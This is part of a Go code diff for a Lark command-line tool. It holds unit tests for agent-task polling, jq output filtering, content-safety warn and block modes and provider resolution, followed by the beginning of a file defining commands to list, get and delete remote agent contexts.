type fakePollProvider struct {
|
||||
states []iagent.TaskState
|
||||
calls int
|
||||
err error
|
||||
}
|
||||
|
||||
func (f *fakePollProvider) provider() *iagent.Provider {
|
||||
return &iagent.Provider{
|
||||
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
|
||||
if f.err != nil {
|
||||
return nil, f.err
|
||||
}
|
||||
i := f.calls
|
||||
if i >= len(f.states) {
|
||||
i = len(f.states) - 1
|
||||
}
|
||||
f.calls++
|
||||
s := f.states[i]
|
||||
return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
|
||||
func TestPollToStop_ReachesTerminal(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
if p.calls < 3 {
|
||||
t.Fatalf("should poll at least 3 times, got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
|
||||
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task.State != iagent.StateInputRequired {
|
||||
t.Fatalf("should stop at input_required, got %s", task.State)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
|
||||
// current task with a nil error (exit 0), not a failure.
|
||||
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // expire immediately
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
|
||||
task, err := pollToStop(ctx, p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("timeout should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateWorking {
|
||||
t.Fatalf("timeout should return the current task, got %+v", task)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_GetTaskError surfaces a provider error.
|
||||
func TestPollToStop_GetTaskError(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
|
||||
if _, err := pollToStop(context.Background(), p.provider(), "chat_1"); err == nil {
|
||||
t.Fatal("a GetTask error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// swapSleep replaces the package sleep with a no-op for fast tests.
|
||||
func swapSleep() func() {
|
||||
orig := sleep
|
||||
sleep = func(context.Context, time.Duration) bool { return true }
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepCapture replaces the package sleep with a no-op that records every
|
||||
// backoff duration it was asked to wait, so tests can assert the exponential /
|
||||
// clamp schedule. It always returns true (full duration elapsed).
|
||||
func swapSleepCapture(delays *[]time.Duration) func() {
|
||||
orig := sleep
|
||||
sleep = func(_ context.Context, d time.Duration) bool {
|
||||
*delays = append(*delays, d)
|
||||
return true
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
|
||||
// (as if ctx were canceled during backoff) on the falseCall-th invocation
|
||||
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
|
||||
// branch in isolation without racing a real ctx timeout.
|
||||
func swapSleepFalseAt(falseCall int) func() {
|
||||
orig := sleep
|
||||
n := 0
|
||||
sleep = func(context.Context, time.Duration) bool {
|
||||
n++
|
||||
return n != falseCall
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
|
||||
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
|
||||
// captured schedule must never exceed maxDelay and must actually reach it.
|
||||
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
|
||||
var delays []time.Duration
|
||||
restore := swapSleepCapture(&delays)
|
||||
defer restore()
|
||||
|
||||
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
|
||||
p := &fakePollProvider{states: []iagent.TaskState{
|
||||
iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
|
||||
iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
|
||||
}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
|
||||
if len(delays) != len(want) {
|
||||
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
|
||||
}
|
||||
for i, d := range delays {
|
||||
if d > 5*time.Second {
|
||||
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
|
||||
}
|
||||
if d != want[i] {
|
||||
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
|
||||
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
|
||||
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
|
||||
// most recent task with a nil error (not a failure).
|
||||
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
|
||||
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateWorking {
|
||||
t.Fatalf("should return the working task observed before interruption, got %+v", task)
|
||||
}
|
||||
if p.calls != 1 {
|
||||
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
|
||||
// returns its value; a command without the flag returns "".
|
||||
func TestJqExpr(t *testing.T) {
|
||||
withFlag := &cobra.Command{Use: "get"}
|
||||
withFlag.Flags().String("jq", "", "")
|
||||
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := jqExpr(withFlag); got != ".state" {
|
||||
t.Errorf("with a --jq flag it should return its value, got %q", got)
|
||||
}
|
||||
|
||||
noFlag := &cobra.Command{Use: "list"}
|
||||
if got := jqExpr(noFlag); got != "" {
|
||||
t.Errorf("without a --jq flag it should return empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning to engage) and optionally
|
||||
// registers a --jq flag with the given value.
|
||||
func newEmitCmd(name, jq string) *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
agentGroup := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: name}
|
||||
root.AddCommand(agentGroup)
|
||||
agentGroup.AddCommand(leaf)
|
||||
if jq != "" {
|
||||
leaf.Flags().String("jq", "", "")
|
||||
_ = leaf.Flags().Set("jq", jq)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// emitFactory returns a Factory writing to fresh out/err buffers.
|
||||
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
|
||||
ResolvedIdentity: core.AsBot,
|
||||
}
|
||||
return f, out, errOut
|
||||
}
|
||||
|
||||
// csProvider is a content-safety provider stub returning a fixed alert.
|
||||
type csProvider struct{ alert *extcs.Alert }
|
||||
|
||||
func (p *csProvider) Name() string { return "test" }
|
||||
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
|
||||
return p.alert, nil
|
||||
}
|
||||
|
||||
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
|
||||
// lands on stdout with ok=true and the identity.
|
||||
func TestEmitTask_PlainSuccess(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
|
||||
if err := emitTask(f, cmd, task, next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK || env.Identity != string(core.AsBot) {
|
||||
t.Errorf("ok/identity mismatch: %+v", env)
|
||||
}
|
||||
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
|
||||
t.Errorf("meta.next should appear in the output: %s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
|
||||
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
|
||||
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
|
||||
// inputs the branch can receive.
|
||||
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
next []output.NextAction
|
||||
}{
|
||||
{"nil next", nil},
|
||||
{"empty non-nil next", []output.NextAction{}},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.Meta != nil {
|
||||
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
|
||||
}
|
||||
if strings.Contains(out.String(), `"meta"`) {
|
||||
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
|
||||
func TestEmitTask_JqFilter(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("jq filtering should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq .data.state should output working, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
|
||||
func TestEmitTask_JqFilterError(t *testing.T) {
|
||||
f, _, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
|
||||
t.Fatal("a malformed jq expression should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
|
||||
// without blocking output.
|
||||
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn mode should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("unmarshal: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.ContentSafetyAlert == nil {
|
||||
t.Error("warn mode should attach the alert to the envelope")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
|
||||
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
|
||||
// still filters stdout.
|
||||
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, errOut := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn+jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq output should be working, got %q", got)
|
||||
}
|
||||
if !strings.Contains(errOut.String(), "content safety alert") {
|
||||
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
|
||||
// to stdout.
|
||||
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
err := emitTask(f, cmd, task, nil, "json")
|
||||
if err == nil {
|
||||
t.Fatal("block mode should return BlockErr")
|
||||
}
|
||||
if !errs.IsContentSafety(err) {
|
||||
t.Errorf("should be a content-safety error, got %T", err)
|
||||
}
|
||||
if out.Len() > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// resolveCmd builds an `agent card` command carrying an `--as` flag. When
|
||||
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
|
||||
// the passed identity verbatim (needed to exercise the identity-check branch).
|
||||
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: "card"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if asChanged {
|
||||
if err := leaf.Flags().Set("as", asVal); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// TestResolveProvider_Success resolves a valid example ref under an explicit bot
|
||||
// identity and returns a non-nil provider.
|
||||
func TestResolveProvider_Success(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
p, id, err := resolveProvider(f, cmd, "example:agt_x", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("a valid ref + bot should succeed: %v", err)
|
||||
}
|
||||
if p == nil {
|
||||
t.Fatal("should return a non-nil provider")
|
||||
}
|
||||
if id != core.AsBot {
|
||||
t.Errorf("identity should be bot, got %s", id)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_MalformedRef wraps a ParseRef failure into an
|
||||
// invalid_argument validation error (exit 2).
|
||||
func TestResolveProvider_MalformedRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, err := resolveProvider(f, cmd, "no-colon", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// Hand-written validation errors carry a recovery hint. A malformed ref
|
||||
// teaches the <scheme>:<agent_id> shape.
|
||||
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
|
||||
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_UnknownScheme rejects an unregistered provider scheme.
|
||||
func TestResolveProvider_UnknownScheme(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, err := resolveProvider(f, cmd, "nope:agt_x", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
// An unknown scheme points the caller at `agent list` for discovery.
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || !strings.Contains(p.Hint, "agent list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_IdentityRejected fails the user|bot whitelist when an
|
||||
// unsupported --as is explicitly requested; the provider is never constructed.
|
||||
func TestResolveProvider_IdentityRejected(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "admin")
|
||||
|
||||
p, _, err := resolveProvider(f, cmd, "example:agt_x", "admin")
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported identity should error")
|
||||
}
|
||||
if p != nil {
|
||||
t.Error("should not return a provider when identity validation fails")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_APIClientError surfaces a NewAPIClient failure (Config
|
||||
// error) before any provider is built.
|
||||
func TestResolveProvider_APIClientError(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
|
||||
t.Fatal("a Config error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
|
||||
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
|
||||
// pin that the API-free paths never reach the config gate.
|
||||
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
|
||||
t.Helper()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
|
||||
return f
|
||||
}
|
||||
|
||||
// TestResolveProviderNoClient_WorksWhenUnconfigured guards the acceptance
|
||||
// regression: the API-free resolution path must NOT touch NewAPIClient, so it
|
||||
// succeeds even when Config errors, while the client-backed resolveProvider
|
||||
// still fails at the config gate.
|
||||
func TestResolveProviderNoClient_WorksWhenUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
p, id, err := resolveProviderNoClient(f, cmd, "example:agt_x", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("no-client resolution should succeed when unconfigured: %v", err)
|
||||
}
|
||||
if p == nil || id != core.AsBot {
|
||||
t.Fatalf("should return provider + bot identity, got p=%v id=%s", p, id)
|
||||
}
|
||||
if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
|
||||
t.Fatal("the client path should error when unconfigured (config gate)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProviderNoClient_ValidatesRefBeforeConfig pins that a malformed
|
||||
// ref / unknown scheme is a validation error (exit 2) even when unconfigured —
|
||||
// it must not be masked by not_configured.
|
||||
func TestResolveProviderNoClient_ValidatesRefBeforeConfig(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
for _, ref := range []string{"no-colon", "nope:agt_x"} {
|
||||
_, _, err := resolveProviderNoClient(f, cmd, ref, "bot")
|
||||
if err == nil {
|
||||
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
|
||||
// card` is statically synthesized and must succeed unconfigured, never hitting
|
||||
// the config gate.
|
||||
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
|
||||
t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
|
||||
// `agent send --dry-run` is a client-side preview and must succeed
|
||||
// unconfigured — the example echo card declares no parameters, so no --param is
|
||||
// needed. A malformed --param must still surface as validation, unconfigured.
|
||||
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
|
||||
}
|
||||
|
||||
// A malformed --param (no '=') is still a validation error, unconfigured.
|
||||
err = agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
|
||||
Params: []string{"noequals"}, DryRun: true, As: "bot",
|
||||
})
|
||||
if err == nil || !errs.IsValidation(err) {
|
||||
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
|
||||
}
|
||||
}
|
||||
248
cmd/agent/context.go
Normal file
248
cmd/agent/context.go
Normal file
@@ -0,0 +1,248 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextOptions holds all inputs for the `agent context list|get|delete`
|
||||
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
|
||||
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
|
||||
type contextOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
CtxID string
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentContext builds the `agent context` command group: manage a remote
|
||||
// agent's multi-turn contexts (requires card multi_turn=true). It is a pure group with
|
||||
// no RunE so an unknown subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "context",
|
||||
Short: "Manage a remote agent's multi-turn contexts (sessions)",
|
||||
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentContextList(f))
|
||||
cmd.AddCommand(NewCmdAgentContextGet(f))
|
||||
cmd.AddCommand(NewCmdAgentContextDelete(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
|
||||
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
|
||||
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's multi-turn contexts",
|
||||
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentContextListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
|
||||
// single context's detail. Risk=read.
|
||||
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <ctx-id>",
|
||||
Short: "Show the detail of a single multi-turn context",
|
||||
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
return agentContextGetRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
|
||||
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
|
||||
// requires --yes; without it the command returns a confirmation_required error
|
||||
// (exit 10) before touching the API. Risk=high-risk-write.
|
||||
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "delete <agent_ref> <ctx-id>",
|
||||
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
|
||||
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
